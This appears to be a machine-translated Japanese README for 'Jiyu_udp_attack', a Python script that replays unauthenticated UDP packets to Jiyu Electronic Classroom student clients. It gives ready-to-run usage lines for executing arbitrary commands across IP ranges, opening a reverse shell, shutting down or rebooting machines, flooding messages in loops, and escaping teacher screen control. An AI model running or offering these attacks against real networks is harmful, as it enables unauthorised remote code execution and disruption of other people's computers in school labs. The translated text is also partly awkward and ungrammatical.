Jiyu_udp_attack

Jiyu Electronic Classroom データ パケット (udp) リプレイ攻撃スクリプト

• Jiyu の学生端末は受信した UDP パケットに対して (=・ω・=) 認証を実行しないため、学生端末が実行する特定のデータ パケットを構築することでコマンドを実行し、コンピュータ ルームのオンライン学生を攻撃することができます。機械。

動作環境

• Python3

リリースノート

v1.5

• コマンド実行のバグを修正

v1.4

• コードの再構築、パラメータ選択ロジックの最適化
• リバウンドシェル機能でランダムポートを追加
• ドキュメントを更新する

v1.3

• 画面制御の解除/復元
• リバウンドシェルをサポート

v1.2

• バグを修正する

v1.1

• -g オプションは、学生がリッスンしているポートの取得をサポートします。

v1.0

• 最初の提出

使用方法:

 usage:

    ------------------- Github Repositories -------------------
            https://github.com/ht0Ruial/Jiyu_udp_attack

       [-h] -ip IP [-p P] [-msg MSG] [-c C] [-l L] [-t T]
       [-e {r,s,g,nc,break,continue}]
       {r,s,g,nc,break,continue} ...

positional arguments:
  {r,s,g,nc,break,continue}
                        -e 参数的详细说明
    r                   reboot 重启
    s                   shutdown 关机
    g                   独立选项，获取当前的ip地址以及学生端监听的端口
    nc                  独立选项，反弹shell的机器需出网，退出可使用命令exit
    break               独立选项，脱离屏幕控制，需要管理员权限
    continue            独立选项，恢复屏幕控制

optional arguments:
  -h, --help            show this help message and exit
  -ip IP                ip 指定目标IP地址
  -p P                  port 指定监听端口，默认端口为4705
  -msg MSG              send_message发送消息 eg: -msg "HelloWord!"
  -c C                  command命令 eg: -c "cmd.exe /c ipconfig"
  -l L                  循环次数，默认为1
  -t T                  循环时间间隔，默认是22秒
  -e {r,s,g,nc,break,continue}
                        Extra Options加载额外的选项 eg：-e r
          

使用例

ヒント:

-ipパラメータを使用してターゲット IP を指定する場合、次の方法で指定できます。

• 192.168.80.12 などの単一の IP を指定します。
• IP 範囲を指定します (192.168.80.10-56 など)。
• IP が配置されているセグメント C を指定します (192.168.80.1/24 など)。

1. イントラネット IP アドレスとリスニング ポートを取得します。

学生側のリスニング ポートがデフォルトの4705ではない場合は、後続の操作中に-pパラメータを使用してポートを指定する必要があります。

 python Jiyu_udp_attack.py -e g

2. 画面コントロールを取り除く

現在の実行権限は管理者権限である必要があり、これは主に MpsSvc サービスを開始するために使用されます。

 python Jiyu_udp_attack.py -e break

3.画面制御を復元する

 python Jiyu_udp_attack.py -e continue

4.メッセージを送信する

学生側のリスニング ポートが4705の場合、「hello, baby!」という内容のメッセージを IP アドレス 192.168.80.12 のマシンに送信します。

 python Jiyu_udp_attack.py -ip 192.168.80.12 -msg "hello,baby!"

学生側のリスニング ポートが4605の場合は、 -pパラメータを使用してポートを指定し、「hello, baby!」という内容のメッセージを IP アドレス 192.168.80.12 のマシンに送信する必要があります。

 python Jiyu_udp_attack.py -ip 192.168.80.12 -p 4605 -msg "hello,baby!"

5. コマンドを実行します

192.168.80.12 から 192.168.80.137 までの計算機を再生してください

 python Jiyu_udp_attack.py -ip 192.168.80.12-137 -c calc.exe

6. リバウンドシェル

シェルをリバウンドする場合、IP は特定のマシンの IP のみであり、バッチでリバウンドすることはできません。また、任意のコマンドのバッチ実行が実装されているため、バッチでリバウンドすることは意味がありません。 、追加されません。

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e nc

7. シャットダウンして再起動します

シャットダウン

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e s

再起動

 python Jiyu_udp_attack.py -ip 192.168.80.12 -e r

8. ループ

ループを使用してメッセージを継続的に送信する
マシン 1-254 は「hello, baby!」メッセージを受信し、50 秒後に合計 3 回実行を続けます。

    python Jiyu_udp_attack.py -ip 192.168.80.23/24 -msg "hello,baby!" -l 3 -t 50